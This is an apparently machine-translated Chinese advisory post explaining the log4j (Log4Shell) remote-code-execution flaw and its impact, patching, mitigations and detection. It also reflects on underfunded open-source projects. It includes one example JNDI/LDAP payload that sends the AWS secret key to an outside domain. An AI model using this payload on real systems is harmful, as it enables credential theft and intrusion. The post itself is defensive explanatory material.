|
近日漏洞被公布为log4j的-a基于Java的日志记录工具，它在Apache日志记录服务项目中的一部分。全球数以百万计的系统使用它来处理日志。
影响：人们将此与 Heartbleed 进行比较，但在许多方面它都更糟。虽然 Heartbleed 影响了所有 TLS 实现，而且这个只影响使用log4j 的系统，但这个问题会以密码/密钥提取和 shell 的形式产生直接和直接的危害。
这个漏洞将伴随我们多年，因为恶意负载和易受攻击的系统可以休眠任何时间。在任何时候，他们都可以活着回来并处理导致妥协的恶意负载。
工作原理：该漏洞是由于 log4j 中不安全的“查找”功能导致的，该功能将用户提供的内容作为代码执行，也称为 RCE。因此，如果您提供输入?`${env:PWD}`，它会将 PWD 环境变量写入日志。从那里开始变得更糟，包括将数据从受影响的系统传出，以及——最重要的是——在受影响的系统上生成一个 shell。
示例：这是利用log4j漏洞的一个示例，它提取 AWS 密钥并侦听传入请求。
$ {JNDI：LDAP：// $ {ENV：AWS_SECRET_ACCESS_KEY}} .mydogsbutt.com
做什么：解决这个问题的最好办法是找到的所有实例的log4j，并将其修补到2.15+。如果你不能这样做，有一些可能的缓解措施：
- 补丁：升级到 2.15.0 版。
- 缓解：对于那些谁不能升级到2.15.0，在版本> = 2.10，此漏洞可被设置为系统属性减轻
log4j2.formatMsgNoLookups?或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS?来true。对于从2.0到beta9 2.10.0版本中，缓解是去除JndiLookup?从类路径类：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
注意：WAF 可以帮助但不能解决问题。大多数公司的后端系统已经被这些来自多个入口点的恶意负载堵塞了。我们无法通过阻止更多输入来解决问题。唯一的解决方法是保护将不可避免地与恶意输入接触的系统。 - 检测：我知道许多公司使用 Semgrep 来查找用户提供的数据中存在漏洞的内容。这是我从R2C/?TLDRSec 的Clint Gibler那里得到的Semgrep 规则示例。
- 疫苗接种：这绝对是事情更疯狂的一面，但一种聪明的方法是利用漏洞来缓解漏洞。具体来说，它使用 RCE 功能将环境变量设置
LOG4J_FORMAT_MSG_NO_LOOKUPS?为true.?|?通过 Cyber??eason 编码 - 其他注意事项：正如David Litchfield在多条推文中指出的，这不仅仅是 HTTP。您拥有的任何接受输入的服务，包括 SMTP、IMAP 等，都是额外的攻击媒介。还可以考虑将后端内容的二级和 N 级订单处理作为批处理和其他类型自动化的一部分。
分析：此漏洞的显着之处不仅在于其重要性或影响范围——而是开发人员激励级别的根本原因。就像 Heartbleed 一样——这个项目很少有人关注它，所有的目光都是志愿者。我们应该考虑的不仅仅是log4j。我们应该考虑的是还有多少其他具有类似特征的项目：
- 该项目由极少数人在业余时间免费维护，并且
- 如果项目出现重大问题，它将破坏整个互联网
|